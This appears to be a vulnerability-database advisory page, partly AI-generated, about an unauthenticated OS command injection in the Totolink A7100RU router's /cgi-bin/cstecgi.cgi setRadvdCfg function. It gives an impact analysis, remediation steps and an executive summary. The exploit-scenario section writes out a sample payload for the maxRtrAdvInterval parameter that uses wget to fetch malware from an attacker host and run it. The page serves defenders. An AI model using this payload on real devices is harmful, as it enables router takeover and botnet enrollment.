Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
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AccessScan for exposed router management interfaces
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DeliverySend crafted HTTP POST to /cgi-bin/cstecgi.cgi
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ExploitInject shell commands in maxRtrAdvInterval parameter
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ExecutionExecute arbitrary code as root
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ImpactEstablish persistent backdoor or pivot to internal network
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization OS command sanitization, avoid shell exec
MITRE ATT&CK
2 techniques across 1 tactic: Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | Remote unauthenticated attacker can exploit the setRadvdCfg function in /cgi-bin/cstecgi.cgi on Totolink A7100RU firmware 7.4cu.2313_b20191024 by sending a crafted request with a malicious maxRtrAdvInterval parameter to achieve OS command injection. No authentication or user interaction required. |
| Impact | This represents a critical real-world risk despite absence from CISA KEV. The CVSS vector reveals optimal exploit conditions: network attack vector (AV:N) requiring no authentication (PR:N), low complexity (AC:L), and no user interaction (UI:N), with complete compromise of confidentiality, integrity, and availability. The Exploit maturity indicator (E:P) confirms proof-of-concept code exists, and GitHub references validate a working exploit is publicly accessible. For internet-facing Totolink routers, this is immediately weaponizable. However, risk is somewhat constrained by the limited market deployment of this specific consumer router model compared to enterprise-grade devices. The vulnerability predates October 2019, meaning affected devices have been exposed for over five years. Organizations should prioritize remediation if these devices are deployed, particularly if accessible from untrusted networks. The combination of trivial exploitation, public exploit code, and complete system compromise elevates this beyond theoretical risk. |
| Exploit ScenarioDerived | An unauthenticated attacker scans the internet for Totolink A7100RU routers exposing their web management interface on standard ports. Upon identifying a vulnerable device, the attacker crafts an HTTP request to /cgi-bin/cstecgi.cgi targeting the setRadvdCfg function with a malicious maxRtrAdvInterval parameter containing shell metacharacters and commands, such as '60;wget http://attacker.com/malware -O /tmp/bot; chmod +x /tmp/bot; /tmp/bot;'. The router executes the injected commands with root privileges, downloading and executing malware that establishes persistent access, enables the device as a botnet node, or pivots into the internal network to compromise additional systems. |
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Alert meAnalysisAIv1 – Apr 12, 2026
OS command injection in Totolink A7100RU router firmware version 7.4cu.2313_b20191024 allows unauthenticated remote attackers to execute arbitrary system commands via the CGI interface. The setRadvdCfg function in /cgi-bin/cstecgi.cgi fails to sanitize the maxRtrAdvInterval parameter, enabling command injection through crafted HTTP requests. Publicly available exploit code exists on GitHub, significantly lowering exploitation barriers. CVSS 9.8 critical rating reflects network-accessible attack vector with no authentication or user interaction required, enabling full system compromise.
RemediationAI
Users should immediately check for firmware updates from Totolink at https://www.totolink.net/ and apply the latest available firmware if a patched version has been released. No vendor-released patch version is independently confirmed from available data at time of analysis. As an interim mitigation, disable remote management access to the router's CGI interface and restrict administrative access to trusted internal networks only. Implement network segmentation to isolate vulnerable devices from untrusted networks. If the device is internet-facing, place it behind a firewall with strict access control rules permitting only necessary management traffic from known IP addresses. Organizations should consider replacing affected devices with actively supported models if vendor patch support is unavailable or discontinued. Monitor the vendor security advisory page and vulnerability references at https://vuldb.com/vuln/356972 for updated remediation guidance.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
This vulnerability affects the CGI (Common Gateway Interface) handler in Totolink A7100RU consumer routers, specifically the Router Advertisement Daemon (radvd) configuration function. The setRadvdCfg function processes user-supplied input for the maxRtrAdvInterval parameter without proper input validation or sanitization before passing it to system shell commands. This is a classic CWE-78 (OS Command Injection) vulnerability where attackers can append shell metacharacters and arbitrary commands to the parameter value. The CGI script at /cgi-bin/cstecgi.cgi runs with elevated privileges typical of router management interfaces, meaning injected commands execute with root or administrative permissions. The affected CPE indicates the vulnerability is specific to Totolink A7100RU hardware running the vulnerable firmware build from October 2019.
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Severity by source
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P
Primary rating from Vendor (VulDB) · only source for this CVE.
CVSS VectorVendor: VulDB
Lifecycle Timeline
4DescriptionCVE.org
A weakness has been identified in Totolink A7100RU 7.4cu.2313_b20191024. Affected is the function setRadvdCfg of the file /cgi-bin/cstecgi.cgi of the component CGI Handler. This manipulation of the argument maxRtrAdvInterval causes os command injection. The attack can be initiated remotely. The exploit has been made available to the public and could be used for attacks.
Executive ViewAI
Totolik A7100RU routers running firmware 7.4cu.2313_b20191024 are vulnerable to unauthenticated remote command execution via a CGI interface flaw, allowing attackers to compromise routers without credentials. This affects any organization or user deploying this router model, with publicly available exploit code significantly increasing attack likelihood. Compromised routers can be weaponized for network pivots, data interception, or botnet enrollment.
No vendor-released patch identified at time of analysis. Interim mitigations: (1) Disable remote management and CGI interface access from untrusted networks using firewall rules; (2) Segment routers on isolated VLANs with restricted egress; (3) Monitor router logs and traffic for suspicious /cgi-bin/cstecgi.cgi requests; (4) Consider temporary replacement with patched alternative router models pending vendor update.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
OS command injection occurs when an application passes unsanitized user input directly into system shell commands.
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EUVD-2026-21700
NVD
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